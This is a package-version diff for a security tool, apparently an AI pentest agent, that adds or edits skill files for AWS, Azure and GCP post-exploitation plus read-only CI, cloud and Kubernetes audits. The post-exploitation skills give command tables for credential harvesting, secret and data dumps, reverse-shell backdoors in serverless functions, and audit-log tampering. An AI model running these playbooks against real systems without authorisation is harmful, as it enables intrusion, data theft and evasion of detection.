@cyberstrike-io/cyberstrike 1.1.16-beta.3 → 1.1.16-beta.4

package/hackbrowser-worker.js

@@ -116469,7 +116469,12 @@ async function collectInteractiveElements(page) {
       const label = getLabel(el);
       const tag = el.tagName.toLowerCase();
       const type = el.type?.toLowerCase() || "";
-      const href = el.href || "";
+      const rawHref = (el.getAttribute("href") || "").trim();
+      const navigates = !!rawHref && rawHref !== "#" && !rawHref.startsWith("#") && !rawHref.startsWith("javascript:");
+      const href = navigates ? el.href || "" : "";
+      const nonNavAnchor = tag === "a" && !navigates;
+      if (nonNavAnchor)
+        role = "button";
       const isSlider = role === "slider";
       const value = isSlider ? el.getAttribute("aria-valuenow") ?? el.value ?? "" : el.value || "";
       const placeholder = el.placeholder || "";
@@ -116486,7 +116491,7 @@ async function collectInteractiveElements(page) {
       const ariaLabelRaw = (el.getAttribute("aria-label") || "").trim();
       const safeAriaLabel = ariaLabelRaw.replace(/\\/g, "\\\\").replace(/"/g, "\\\"");
       const isFileInput = el.matches("input[type=file]");
-      const selectorRole = syntheticRole || count > 1 || isFileInput ? "" : safeAriaLabel ? `role=${role}[name="${safeAriaLabel}"]` : `role=${role}`;
+      const selectorRole = syntheticRole || count > 1 || isFileInput || nonNavAnchor ? "" : safeAriaLabel ? `role=${role}[name="${safeAriaLabel}"]` : `role=${role}`;
       const selectorCSS = buildCSSSelector(el);
       const inChrome = !!el.closest("nav, header, footer, aside, [role=navigation], [role=banner], [role=contentinfo], [role=complementary]");
       const roleCount = (seenRoleSelectors.get(selectorRole) ?? 0) + 1;

package/package.json

@@ -7,7 +7,7 @@
   "scripts": {
     "postinstall": "bun ./postinstall.mjs || node ./postinstall.mjs"
   },
-  "version": "1.1.16-beta.3",
+  "version": "1.1.16-beta.4",
   "license": "AGPL-3.0-only",
   "keywords": [
     "cyberstrike",
@@ -40,16 +40,16 @@
     "playwright": "1.58.2"
   },
   "optionalDependencies": {
-    "@cyberstrike-io/cyberstrike-darwin-arm64": "1.1.16-beta.3",
-    "@cyberstrike-io/cyberstrike-linux-x64": "1.1.16-beta.3",
-    "@cyberstrike-io/cyberstrike-windows-x64": "1.1.16-beta.3",
-    "@cyberstrike-io/cyberstrike-linux-arm64": "1.1.16-beta.3",
-    "@cyberstrike-io/cyberstrike-windows-x64-baseline": "1.1.16-beta.3",
-    "@cyberstrike-io/cyberstrike-darwin-x64": "1.1.16-beta.3",
-    "@cyberstrike-io/cyberstrike-linux-arm64-musl": "1.1.16-beta.3",
-    "@cyberstrike-io/cyberstrike-darwin-x64-baseline": "1.1.16-beta.3",
-    "@cyberstrike-io/cyberstrike-linux-x64-musl": "1.1.16-beta.3",
-    "@cyberstrike-io/cyberstrike-linux-x64-baseline-musl": "1.1.16-beta.3",
-    "@cyberstrike-io/cyberstrike-linux-x64-baseline": "1.1.16-beta.3"
+    "@cyberstrike-io/cyberstrike-darwin-x64": "1.1.16-beta.4",
+    "@cyberstrike-io/cyberstrike-windows-x64-baseline": "1.1.16-beta.4",
+    "@cyberstrike-io/cyberstrike-linux-arm64-musl": "1.1.16-beta.4",
+    "@cyberstrike-io/cyberstrike-linux-x64": "1.1.16-beta.4",
+    "@cyberstrike-io/cyberstrike-windows-x64": "1.1.16-beta.4",
+    "@cyberstrike-io/cyberstrike-darwin-x64-baseline": "1.1.16-beta.4",
+    "@cyberstrike-io/cyberstrike-linux-x64-baseline": "1.1.16-beta.4",
+    "@cyberstrike-io/cyberstrike-linux-x64-musl": "1.1.16-beta.4",
+    "@cyberstrike-io/cyberstrike-darwin-arm64": "1.1.16-beta.4",
+    "@cyberstrike-io/cyberstrike-linux-x64-baseline-musl": "1.1.16-beta.4",
+    "@cyberstrike-io/cyberstrike-linux-arm64": "1.1.16-beta.4"
   }
 }

package/skill/aws-postexploit/SKILL.md

@@ -3,7 +3,7 @@ name: aws-postexploit
 description: AWS post-exploitation for IAM privilege escalation, data exfiltration, persistence, and operational security via boto3
 category: post-exploitation
 tags: [aws, cloud, post-exploitation, iam, s3, lambda, ssm, cloudtrail, credential-access, defense-evasion, persistence]
-tech_stack: [aws, boto3, python]
+tech_stack: [aws, aws-cli]
 cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-284]
 chains_with: [T1078.004, T1530, T1537, T1562.008, T1098, T1059.009, T1552.005]
 prerequisites: [T1078.004, T1552.005]
@@ -12,14 +12,14 @@ version: "1.0"
 
 # AWS Post-Exploitation Methodology
 
-AWS post-exploitation uses boto3, the AWS CLI, and direct metadata endpoint access to perform privilege escalation, data exfiltration, and persistence after compromising IAM credentials or gaining EC2 instance access. These tools target IAM misconfigurations, S3 data stores, Secrets Manager, Lambda functions, and SSM for lateral movement.
+AWS post-exploitation uses the AWS CLI and direct metadata endpoint access to perform privilege escalation, data exfiltration, and persistence after compromising IAM credentials or gaining EC2 instance access. These tools target IAM misconfigurations, S3 data stores, Secrets Manager, Lambda functions, RDS databases, ECS containers, SSO, and Organizations for lateral movement.
 
 ## Prerequisites
 
 Before deploying awshook tools, verify:
 
 1. **Valid AWS credentials** — access key + secret key, session token, or instance profile
-2. **boto3 installed** — `pip3 install boto3`
+2. **AWS CLI installed** — all tools use `aws` CLI natively, no Python/boto3 needed
 3. **Current identity** — `aws sts get-caller-identity` to confirm access
 4. **Region** — set via `--region`, `AWS_DEFAULT_REGION`, or profile config
 
@@ -27,7 +27,7 @@ Before deploying awshook tools, verify:
 # Quick prerequisite check
 aws sts get-caller-identity                    # verify credentials work
 aws iam get-user 2>/dev/null || echo "No IAM user (likely role/instance profile)"
-python3 -c "import boto3; print('boto3 OK')"   # verify boto3
+aws --version                                  # verify AWS CLI
 ```
 
 ## Kill Chain Phases
@@ -62,6 +62,7 @@ Extract sensitive data from AWS services.
 | S3 dump | `awshook s3_dump` | Find and download sensitive files from all buckets |
 | Secrets extraction | `awshook secrets_dump` | Extract Secrets Manager and SSM Parameter Store values |
 | EBS snapshot | `awshook ec2_snapshot --volume-id VOL_ID` | Snapshot volumes for offline data access |
+| RDS dump | `awshook rds_dump --db-identifier DB_ID` | Create RDS snapshot and optionally share cross-account |
 
 ### Phase 4 — Persistence
 
@@ -71,6 +72,9 @@ Establish persistent access to the AWS environment.
 |--------|---------|---------|
 | Lambda backdoor | `awshook lambda_backdoor --function-name NAME --callback-url URL` | Inject reverse shell into Lambda |
 | SSM execution | `awshook ssm_exec --instance-id ID --command CMD` | Execute commands on EC2 via SSM |
+| ECS exec | `awshook ecs_exec --cluster CLUSTER --task TASK --command CMD` | Execute commands in ECS containers |
+| SSO enumeration | `awshook sso_enum` | Enumerate SSO permission sets, users, groups |
+| Org enumeration | `awshook org_enum` | Map Organizations accounts, OUs, SCPs |
 
 ### Phase 5 — Operational Security
 
@@ -117,4 +121,8 @@ AWS post-exploitation tools are detectable by:
 | cloudtrail_blind | CloudTrail log evasion | T1562.008 — Disable Cloud Logs |
 | secrets_dump | Secrets Manager/Parameter Store extraction | T1555.006 — Cloud Secrets Management Stores |
 | ec2_snapshot | EBS volume snapshot for data access | T1537 — Transfer Data to Cloud Account |
+| rds_dump | RDS snapshot and cross-account sharing | T1530 — Data from Cloud Storage |
+| ecs_exec | ECS Exec command execution in containers | T1609 — Container Administration Command |
+| sso_enum | AWS SSO/Identity Center enumeration | T1087.004 — Cloud Account |
+| org_enum | AWS Organizations cross-account recon | T1580 — Cloud Infrastructure Discovery |
 | cleanup_aws | Resource removal and trail restoration | T1070 — Indicator Removal |

package/skill/azure-postexploit/SKILL.md

@@ -3,7 +3,7 @@ name: azure-postexploit
 description: Azure/Entra ID post-exploitation for tenant compromise, Key Vault extraction, managed identity abuse, and token manipulation
 category: post-exploitation
 tags: [azure, entra-id, cloud, post-exploitation, keyvault, managed-identity, credential-access, persistence, token-abuse]
-tech_stack: [azure, python, msal, msgraph, requests]
+tech_stack: [azure, az-cli]
 cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-284]
 chains_with: [T1078.004, T1552.001, T1098.001, T1550.001, T1528]
 prerequisites: [T1078.004]
@@ -12,19 +12,18 @@ version: "1.0"
 
 # Azure/Entra ID Post-Exploitation Methodology
 
-Azure post-exploitation uses Microsoft Graph API, Azure Resource Manager API, and direct IMDS access for tenant enumeration, privilege escalation, secret extraction, and persistence. After compromising Azure credentials or a managed identity, these tools provide comprehensive Entra ID and Azure resource exploitation capabilities.
+Azure post-exploitation uses az CLI and native fetch() for IMDS access to perform tenant enumeration, privilege escalation, secret extraction, and persistence. No Python dependency — all operations use native TypeScript with az CLI calls.
 
 ## Prerequisites
 
 1. **Valid Azure credentials** — service principal, user credentials, managed identity, or access token
-2. **Python packages** — `pip3 install requests msal azure-identity azure-keyvault-secrets azure-storage-blob`
-3. **Current identity** — verify access via `az account show` or Graph API /me endpoint
+2. **az CLI installed** — `az version`
+3. **Current identity** — verify access via `az account show`
 
 ```bash
 # Quick prerequisite check
-az account show                              # verify Azure CLI credentials
-python3 -c "import requests; print('OK')"    # verify requests
-curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" 2>/dev/null && echo "IMDS available"
+az account show    # verify Azure CLI credentials
+az version         # verify CLI
 ```
 
 ## Kill Chain Phases
@@ -51,12 +50,16 @@ curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version
 | Key Vault dump | `azurehook keyvault_dump` | Extract secrets, keys, certificates from Key Vaults |
 | Storage dump | `azurehook storage_dump` | Download sensitive data from Blob Storage |
 | Token abuse | `azurehook azuread_token --action foci` | Use FOCI to get tokens for multiple services |
+| Cosmos DB dump | `azurehook cosmos_dump --account NAME` | Extract Cosmos DB keys, databases, documents |
+| AKS enum | `azurehook aks_enum --cluster NAME` | Enumerate AKS clusters, extract admin kubeconfig |
 
 ### Phase 4 — Persistence
 
 | Action | Command | Purpose |
 |--------|---------|---------|
 | Runbook backdoor | `azurehook runbook_backdoor --automation-account NAME --resource-group RG` | Create Automation runbook with reverse shell |
+| Logic App backdoor | `azurehook logic_app_backdoor --resource-group RG --name NAME --callback-url URL` | Create HTTP-triggered Logic App for persistent callback |
+| Function App backdoor | `azurehook function_app_backdoor --resource-group RG --name NAME --callback-url URL` | Deploy Function App with exfil trigger |
 
 ### Phase 5 — Cleanup (MANDATORY)
 
@@ -83,4 +86,8 @@ azurehook cleanup_azure
 | managed_identity | Managed identity token harvest | T1552.005 — Cloud Instance Metadata API |
 | runbook_backdoor | Automation Account persistence | T1525 — Implant Internal Image |
 | azuread_token | Token manipulation and FOCI abuse | T1550.001 — Application Access Token |
+| cosmos_dump | Cosmos DB key and data extraction | T1530 — Data from Cloud Storage |
+| aks_enum | AKS cluster enumeration and credential extraction | T1613 — Container and Resource Discovery |
+| logic_app_backdoor | Logic App webhook persistence | T1525 — Implant Internal Image |
+| function_app_backdoor | Function App backdoor deployment | T1525 — Implant Internal Image |
 | cleanup_azure | Resource removal and restoration | T1070 — Indicator Removal |

package/skill/ci-assessment/SKILL.md

@@ -0,0 +1,82 @@
+---
+name: ci-assessment
+description: READ-ONLY CI/CD pipeline security assessment for GitHub Actions, dependency security, and software supply chain
+category: security-assessment
+tags: [cicd, github-actions, supply-chain, dependency-security, branch-protection, secrets, pipeline-security]
+tech_stack: [github, gh-cli]
+cwe_ids: [CWE-94, CWE-78, CWE-269, CWE-311, CWE-502, CWE-829]
+chains_with: [T1195.002, T1059.004, T1552.001]
+prerequisites: [gh-cli-access]
+version: "1.0"
+---
+
+# CI/CD Pipeline Security Assessment
+
+READ-ONLY CI/CD security assessment using gh CLI and local filesystem inspection. No repositories, workflows, or configurations are modified. Focused on GitHub Actions but includes dependency and supply chain checks applicable to any CI platform.
+
+## Prerequisites
+
+1. **gh CLI installed and authenticated** — `gh auth status`
+2. **Repository access** — read access to target repository
+3. **For dependency_audit** — local checkout of the repository
+
+```bash
+# Quick prerequisite check
+gh auth status          # verify GitHub auth
+gh repo view OWNER/REPO # verify repo access
+```
+
+## Assessment Phases
+
+### Phase 1 — GitHub Actions Workflow Security
+
+| Check | Command | Risk |
+|-------|---------|------|
+| Dangerous triggers | `ci_audit github_actions_audit --repo OWNER/REPO` | pull_request_target, workflow_dispatch injection |
+| Script injection | `ci_audit github_actions_audit --repo OWNER/REPO` | ${{ github.event.* }} in run blocks |
+| Token permissions | `ci_audit github_permissions_audit --repo OWNER/REPO` | Missing or overly broad GITHUB_TOKEN scope |
+| Action pinning | `ci_audit github_actions_pinning_audit --repo OWNER/REPO` | Unpinned third-party actions (tag poisoning) |
+
+### Phase 2 — Secrets & Runner Security
+
+| Check | Command | Risk |
+|-------|---------|------|
+| Secret leakage | `ci_audit github_secrets_exposure_audit --repo OWNER/REPO` | Secrets in logs, env dumps, artifacts |
+| Self-hosted runners | `ci_audit github_runner_audit --repo OWNER/REPO` | Runner persistence, PR-triggered execution |
+
+### Phase 3 — Repository Security
+
+| Check | Command | Risk |
+|-------|---------|------|
+| Branch protection | `ci_audit github_branch_protection_audit --repo OWNER/REPO` | Missing reviews, force push, no status checks |
+
+### Phase 4 — Dependency & Supply Chain
+
+| Check | Command | Risk |
+|-------|---------|------|
+| Dependency security | `ci_audit dependency_audit --path /path/to/repo` | Unpinned deps, no lockfile, known vulns |
+| Supply chain | `ci_audit supply_chain_audit --repo OWNER/REPO --path /path` | No Dependabot, missing CODEOWNERS, hardcoded tokens |
+
+## Detection Scope
+
+| Category | What We Check | What We Don't |
+|----------|---------------|---------------|
+| **Workflows** | Triggers, injection, permissions, pinning | Runtime behavior, actual secret values |
+| **Secrets** | Exposure patterns in YAML | Actual secret content or rotation status |
+| **Runners** | Self-hosted presence, risky triggers | Runner OS hardening, network isolation |
+| **Branch Protection** | Rule configuration | Bypass via admin override audit trail |
+| **Dependencies** | Versions, lockfiles, known CVEs | Transitive dependency behavior |
+| **Supply Chain** | Automation config, CODEOWNERS | SBOM completeness, SLSA compliance level |
+
+## Program Reference
+
+| Program | Focus | Tool |
+|---------|-------|------|
+| github_actions_audit | Trigger analysis, script injection | gh API |
+| github_permissions_audit | GITHUB_TOKEN scope | gh API |
+| github_actions_pinning_audit | SHA pinning vs tag references | gh API |
+| github_secrets_exposure_audit | Secret leakage patterns | gh API |
+| github_runner_audit | Self-hosted runner risks | gh API |
+| github_branch_protection_audit | Protection rule analysis | gh API |
+| dependency_audit | Lockfile, versions, npm audit | local + npm |
+| supply_chain_audit | Dependabot, CODEOWNERS, .npmrc | gh API + local |

package/skill/cloud-assessment/SKILL.md

@@ -0,0 +1,140 @@
+---
+name: cloud-assessment
+description: Multi-cloud READ-ONLY security assessment methodology for AWS, Azure, and GCP using CIS benchmark-aligned checks
+category: assessment
+tags: [cloud, aws, azure, gcp, security-audit, cis-benchmark, iam, storage, network, encryption, logging, dns, tls]
+tech_stack: [aws, azure, gcp, aws-cli, az-cli, gcloud-cli]
+cwe_ids: [CWE-269, CWE-311, CWE-319, CWE-693, CWE-778]
+version: "1.0"
+---
+
+# Cloud Security Assessment Methodology
+
+Multi-cloud READ-ONLY security assessment using the `cloud_audit` tool. All checks use describe/list/get CLI calls via native TypeScript — no Python dependency, no SDK imports. Uses aws/az/gcloud CLIs. Aligned with CIS benchmarks for AWS, Azure, and GCP.
+
+## Safety First
+
+**ALWAYS run `verify_readonly` before any other audit program.** This confirms the current credentials have no dangerous write permissions. If the check returns FAIL, stop and request read-only credentials.
+
+```
+cloud_audit verify_readonly --provider all
+```
+
+## Assessment Phases
+
+### Phase 1 — Credential Safety Verification
+
+| Check | Command | Purpose |
+|-------|---------|---------|
+| Verify read-only | `cloud_audit verify_readonly --provider all` | Confirm no write permissions — MUST pass before proceeding |
+
+### Phase 2 — Identity & Access Management
+
+IAM is the most critical attack surface in cloud environments.
+
+| Provider | Command | Key Checks |
+|----------|---------|------------|
+| AWS | `cloud_audit aws_iam_audit --json-output` | MFA status, wildcard policies, unused keys, cross-account trust, root access keys |
+| Azure | `cloud_audit azure_iam_audit --json-output` | Dangerous role assignments (Owner/Contributor), subscription-level owners, wildcard custom roles |
+| GCP | `cloud_audit gcp_iam_audit --json-output` | Primitive roles (Owner/Editor at project), SA key age >90d, domain-wide delegation |
+
+**Intelligence integration:** After IAM audit, report findings via `add_intel` with type `infrastructure`:
+```
+add_intel type=infrastructure data="IAM audit: 3 users without MFA, 2 wildcard policies found"
+```
+
+### Phase 3 — Storage Security
+
+Public storage buckets are the #1 cloud data breach vector.
+
+| Provider | Command | Key Checks |
+|----------|---------|------------|
+| AWS | `cloud_audit aws_storage_audit --json-output` | S3 Block Public Access, ACLs, default encryption, versioning, access logging |
+| Azure | `cloud_audit azure_storage_audit --json-output` | Blob public access, HTTPS-only, minimum TLS version, SAS policies |
+| GCP | `cloud_audit gcp_storage_audit --json-output` | allUsers/allAuthenticatedUsers bindings, uniform bucket-level access, versioning |
+
+### Phase 4 — Network Security
+
+Open security groups and missing flow logs are common misconfigurations.
+
+| Provider | Command | Key Checks |
+|----------|---------|------------|
+| AWS | `cloud_audit aws_network_audit --json-output` | SGs open to 0.0.0.0/0 on dangerous ports, IMDSv1, VPC flow logs |
+| Azure | `cloud_audit azure_network_audit --json-output` | NSG Any/Any rules, public IPs on VMs, NSG flow logs |
+| GCP | `cloud_audit gcp_network_audit --json-output` | Firewall rules open to 0.0.0.0/0, external IPs, legacy networks |
+
+### Phase 5 — Encryption at Rest
+
+Unencrypted storage is a compliance violation in most frameworks.
+
+| Provider | Command | Key Checks |
+|----------|---------|------------|
+| AWS | `cloud_audit aws_encryption_audit --json-output` | EBS/RDS encryption, KMS key rotation, CMK vs AWS-managed |
+| Azure | `cloud_audit azure_encryption_audit --json-output` | Disk encryption, storage CMK, Key Vault rotation |
+| GCP | `cloud_audit gcp_encryption_audit --json-output` | Disk/SQL/GCS CMEK, KMS key rotation |
+
+### Phase 6 — Logging & Monitoring
+
+Missing audit logs mean attacks go undetected.
+
+| Provider | Command | Key Checks |
+|----------|---------|------------|
+| AWS | `cloud_audit aws_logging_audit --json-output` | CloudTrail multi-region, GuardDuty, Config recorder |
+| Azure | `cloud_audit azure_logging_audit --json-output` | Activity Log retention, Diagnostic settings, Defender status |
+| GCP | `cloud_audit gcp_logging_audit --json-output` | Audit log config (DATA_READ/DATA_WRITE), log sinks, filters |
+
+### Phase 7 — DNS & TLS
+
+External-facing services need DNS security and valid TLS.
+
+| Check | Command | Key Checks |
+|-------|---------|------------|
+| DNS | `cloud_audit dns_audit --domain TARGET` | Dangling CNAMEs (subdomain takeover), DNSSEC, CAA records |
+| TLS | `cloud_audit tls_audit --target HOST:PORT` | Protocol version, certificate expiry, cipher strength, HSTS |
+
+## Vulnerability Reporting
+
+For each FAIL finding, report via `report_vulnerability`:
+
+```
+report_vulnerability
+  title: "AWS IAM user without MFA: admin-user"
+  severity: high
+  evidence:
+    requestSent: "cloud_audit aws_iam_audit --json-output"
+    responseCode: 0
+    responseSummary: "checkId AWS-IAM-001 FAIL — user admin-user has console access without MFA"
+    reasoning: "CIS AWS 1.10 requires MFA for all IAM users with console access"
+```
+
+## Coverage Notes
+
+Use `record_coverage_note` with `scope: "wide"` for account-level findings:
+```
+record_coverage_note
+  scope: wide
+  note: "AWS IAM audit complete — 5 findings across 12 users. No root access keys detected."
+```
+
+## Program Reference
+
+| Program | Domain | Providers |
+|---------|--------|-----------|
+| verify_readonly | Safety | AWS, Azure, GCP |
+| aws_iam_audit | IAM | AWS |
+| azure_iam_audit | IAM | Azure |
+| gcp_iam_audit | IAM | GCP |
+| aws_storage_audit | Storage | AWS |
+| azure_storage_audit | Storage | Azure |
+| gcp_storage_audit | Storage | GCP |
+| aws_network_audit | Network | AWS |
+| azure_network_audit | Network | Azure |
+| gcp_network_audit | Network | GCP |
+| aws_encryption_audit | Encryption | AWS |
+| azure_encryption_audit | Encryption | Azure |
+| gcp_encryption_audit | Encryption | GCP |
+| aws_logging_audit | Logging | AWS |
+| azure_logging_audit | Logging | Azure |
+| gcp_logging_audit | Logging | GCP |
+| dns_audit | DNS | Cross-cloud |
+| tls_audit | TLS | Cross-cloud |

package/skill/gcp-postexploit/SKILL.md

@@ -0,0 +1,129 @@
+---
+name: gcp-postexploit
+description: GCP post-exploitation for IAM privilege escalation, data exfiltration, persistence, and operational security via google-cloud SDK
+category: post-exploitation
+tags: [gcp, cloud, post-exploitation, iam, gcs, cloud-functions, secret-manager, credential-access, defense-evasion, persistence]
+tech_stack: [gcp, gcloud-cli, gsutil]
+cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-284]
+chains_with: [T1078.004, T1530, T1537, T1562.008, T1098, T1552.005]
+prerequisites: [T1078.004, T1552.005]
+version: "1.0"
+---
+
+# GCP Post-Exploitation Methodology
+
+GCP post-exploitation uses gcloud CLI and the GCE metadata endpoint (via native fetch) to perform privilege escalation, data exfiltration, and persistence after compromising service account credentials or gaining Compute Engine instance access. No Python dependency — all operations use native TypeScript with gcloud/gsutil CLI calls.
+
+## Prerequisites
+
+Before deploying gcphook tools, verify:
+
+1. **Valid GCP credentials** — application default credentials, service account key, or metadata endpoint
+2. **gcloud CLI installed** — `gcloud version`
+3. **Current identity** — `gcloud auth list` to confirm active account
+4. **Project** — set via `--project` or default project
+
+```bash
+# Quick prerequisite check
+gcloud auth list                  # verify credentials
+gcloud config get-value project   # verify project
+gcloud version                    # verify CLI
+```
+
+## Kill Chain Phases
+
+### Phase 1 — Situational Awareness (First 60 seconds)
+
+Understand the GCP environment and current permissions.
+
+| Action | Command | Purpose |
+|--------|---------|---------|
+| Project enumeration | `gcphook gcp_enum` | Map IAM bindings, service accounts, Compute, GCS, SQL, Functions, GKE |
+| Metadata harvest | `gcphook metadata_harvest_gcp` | Extract SA credentials from metadata endpoint (metadata.google.internal) |
+| Audit log status | `gcphook audit_log_tamper --action status` | Check audit logging before noisy operations |
+
+### Phase 2 — Privilege Escalation
+
+Exploit IAM misconfigurations to gain higher privileges.
+
+| Action | Command | Purpose |
+|--------|---------|---------|
+| SA impersonation | `gcphook gcp_privesc --method impersonate --target-sa SA_EMAIL` | Generate access token via SA impersonation |
+| setIamPolicy | `gcphook gcp_privesc --method set_iam_policy` | Self-escalate via project IAM policy modification |
+| actAs check | `gcphook gcp_privesc --method act_as --target-sa SA_EMAIL` | Check actAs permission for SA attachment |
+| Token creation | `gcphook gcp_privesc --method token_create --target-sa SA_EMAIL` | Generate identity token for SA |
+
+### Phase 3 — Data Exfiltration
+
+Extract sensitive data from GCP services.
+
+| Action | Command | Purpose |
+|--------|---------|---------|
+| GCS dump | `gcphook gcs_dump` | Find and download sensitive files from all GCS buckets |
+| Secrets extraction | `gcphook secrets_dump_gcp` | Extract all secrets from Google Secret Manager |
+| Disk snapshot | `gcphook compute_snapshot --disk DISK --zone ZONE` | Snapshot Compute Engine disks for offline access |
+| BigQuery dump | `gcphook bigquery_dump --dataset DATASET --query SQL` | Extract data from BigQuery datasets |
+| Pub/Sub sniff | `gcphook pubsub_sniff --topic TOPIC` | Intercept messages from Pub/Sub topics |
+
+### Phase 4 — Persistence
+
+Establish persistent access to the GCP environment.
+
+| Action | Command | Purpose |
+|--------|---------|---------|
+| Function backdoor | `gcphook cloudfunc_backdoor --function-name NAME --callback-url URL` | Inject reverse shell into Cloud Function |
+| Function creation | `gcphook cloudfunc_backdoor --method create --function-name NAME --callback-url URL` | Create new backdoor Cloud Function |
+| Cloud Run backdoor | `gcphook cloud_run_backdoor --service NAME --image IMAGE --callback-url URL` | Deploy Cloud Run service with exfil container |
+| GKE enum | `gcphook gke_enum --cluster NAME --zone ZONE` | Enumerate GKE clusters, extract kubeconfig |
+
+### Phase 5 — Operational Security
+
+Reduce detection footprint.
+
+| Action | Command | Purpose |
+|--------|---------|---------|
+| Disable data access logs | `gcphook audit_log_tamper --action disable_data_access` | Remove data access audit logging |
+| Modify log sinks | `gcphook audit_log_tamper --action modify_sink` | Filter sensitive operations from log sinks |
+
+### Phase 6 — Cleanup (MANDATORY)
+
+```
+gcphook cleanup_gcp
+```
+
+The cleanup tool:
+1. Deletes CyberStrike-created Compute Engine snapshots (cs-* prefix)
+2. Removes backdoor Cloud Functions
+3. Removes Cloud Run services (cs-* prefix)
+4. Removes Pub/Sub sniff subscriptions (cs-sniff-* prefix)
+5. Removes CyberStrike-added IAM bindings
+6. Restores audit logging configuration (re-enables data access logs)
+7. Supports `--dry-run` for safe preview
+
+## Detection Considerations
+
+GCP post-exploitation tools are detectable by:
+- **Cloud Audit Logs** — All admin and data access API calls logged. Key events: SetIamPolicy, GenerateAccessToken, functions.create
+- **Security Command Center** — Anomalous IAM behavior, privilege escalation detection
+- **VPC Flow Logs** — Network traffic to metadata endpoint and external C2
+- **Access Transparency** — Logs of Google staff access (Enterprise feature)
+- **Organization Policy** — Constraints on service account key creation, external sharing
+- **Event Threat Detection** — Anomalous service account usage, credential compromise indicators
+
+## Program Reference
+
+| Program | Technique | MITRE ATT&CK |
+|---------|-----------|---------------|
+| gcp_enum | Project-wide IAM/compute/storage enumeration | T1087.004 — Cloud Account |
+| gcp_privesc | IAM privilege escalation via impersonation/setIamPolicy | T1098 — Account Manipulation |
+| gcs_dump | GCS bucket data exfiltration | T1530 — Data from Cloud Storage |
+| metadata_harvest_gcp | Metadata endpoint credential extraction | T1552.005 — Cloud Instance Metadata API |
+| secrets_dump_gcp | Secret Manager extraction | T1555.006 — Cloud Secrets Management Stores |
+| cloudfunc_backdoor | Cloud Function backdoor for persistence | T1525 — Implant Internal Image |
+| audit_log_tamper | Audit log evasion | T1562.008 — Disable Cloud Logs |
+| compute_snapshot | Disk snapshot for data exfiltration | T1537 — Transfer Data to Cloud Account |
+| bigquery_dump | BigQuery dataset and table extraction | T1530 — Data from Cloud Storage |
+| gke_enum | GKE cluster enumeration and credential extraction | T1613 — Container and Resource Discovery |
+| cloud_run_backdoor | Cloud Run service backdoor deployment | T1525 — Implant Internal Image |
+| pubsub_sniff | Pub/Sub message interception | T1557 — Adversary-in-the-Middle |
+| cleanup_gcp | Remove all CyberStrike artifacts | T1070 — Indicator Removal |

package/skill/k8s-assessment/SKILL.md

@@ -0,0 +1,107 @@
+---
+name: k8s-assessment
+description: READ-ONLY Kubernetes security assessment based on CIS Kubernetes Benchmark using kubectl
+category: security-assessment
+tags: [kubernetes, k8s, cis-benchmark, rbac, network-policy, pod-security, secrets, ingress, security-audit]
+tech_stack: [kubernetes, kubectl]
+cwe_ids: [CWE-269, CWE-284, CWE-311, CWE-732, CWE-693]
+chains_with: [T1613, T1087.004, T1078.004]
+prerequisites: [kubectl-access]
+version: "1.0"
+---
+
+# Kubernetes Security Assessment Methodology
+
+READ-ONLY Kubernetes security assessment using kubectl CLI. No resources are created, modified, or deleted — all checks use get/list/describe/auth can-i verbs only. Based on CIS Kubernetes Benchmark v1.8+.
+
+## Prerequisites
+
+1. **kubectl installed** — `kubectl version --client`
+2. **kubeconfig with read access** — cluster-viewer or equivalent ClusterRole
+3. **Verify read-only** — ALWAYS run `k8s_audit verify_readonly` first
+
+```bash
+# Quick prerequisite check
+kubectl version --client     # verify kubectl
+kubectl cluster-info         # verify cluster access
+kubectl auth can-i list pods --all-namespaces  # verify read access
+```
+
+## Assessment Phases
+
+### Phase 0 — Safety Check (MANDATORY FIRST STEP)
+
+```
+k8s_audit verify_readonly
+```
+
+Confirms current identity has no write/modify/delete permissions via kubectl auth can-i. If write permissions are detected, STOP and request a read-only kubeconfig.
+
+### Phase 1 — RBAC Analysis
+
+| Check | Command | CIS Benchmark |
+|-------|---------|---------------|
+| cluster-admin bindings | `k8s_audit rbac_audit` | 5.1.1 |
+| Wildcard ClusterRoles | `k8s_audit rbac_audit` | 5.1.3 |
+| Default SA permissions | `k8s_audit rbac_audit --namespace NS` | 5.1.5 |
+
+### Phase 2 — Pod Security
+
+| Check | Command | CIS Benchmark |
+|-------|---------|---------------|
+| Privileged containers | `k8s_audit pod_security_audit` | 5.2.1 |
+| hostPID / hostNetwork | `k8s_audit pod_security_audit` | 5.2.2, 5.2.3 |
+| Dangerous capabilities | `k8s_audit pod_security_audit` | 5.2.7-9 |
+| Root execution | `k8s_audit pod_security_audit` | 5.2.6 |
+| hostPath mounts | `k8s_audit pod_security_audit` | 5.2.13 |
+
+### Phase 3 — Network Security
+
+| Check | Command | CIS Benchmark |
+|-------|---------|---------------|
+| Missing NetworkPolicies | `k8s_audit network_policy_audit` | 5.3.2 |
+| Default deny policies | `k8s_audit network_policy_audit` | 5.3.2 |
+| Ingress TLS | `k8s_audit ingress_audit` | — |
+| Ingress snippet injection | `k8s_audit ingress_audit` | — |
+
+### Phase 4 — Secrets & Encryption
+
+| Check | Command | CIS Benchmark |
+|-------|---------|---------------|
+| Secret types & counts | `k8s_audit secrets_audit` | 5.4.1 |
+| Secrets as env vars | `k8s_audit secrets_audit` | 5.4.1 |
+| etcd encryption | `k8s_audit secrets_audit` | 1.2.29-30 |
+
+### Phase 5 — API Server & Infrastructure
+
+| Check | Command | CIS Benchmark |
+|-------|---------|---------------|
+| Anonymous auth | `k8s_audit api_server_audit` | 1.2.1 |
+| Insecure port | `k8s_audit api_server_audit` | 1.2.19 |
+| Admission controllers | `k8s_audit api_server_audit` | 1.2.11-16 |
+| Audit logging | `k8s_audit api_server_audit` | 1.2.17-18 |
+
+### Phase 6 — Workload Hardening
+
+| Check | Command | CIS Benchmark |
+|-------|---------|---------------|
+| Resource limits | `k8s_audit resource_limits_audit` | 5.4.1 |
+| LimitRange/ResourceQuota | `k8s_audit resource_limits_audit` | — |
+| Image tags | `k8s_audit image_audit` | — |
+| Untrusted registries | `k8s_audit image_audit` | — |
+| SA auto-mount tokens | `k8s_audit serviceaccount_audit` | 5.1.5-6 |
+
+## Program Reference
+
+| Program | Checks | CIS Section |
+|---------|--------|-------------|
+| verify_readonly | Write permission detection | — |
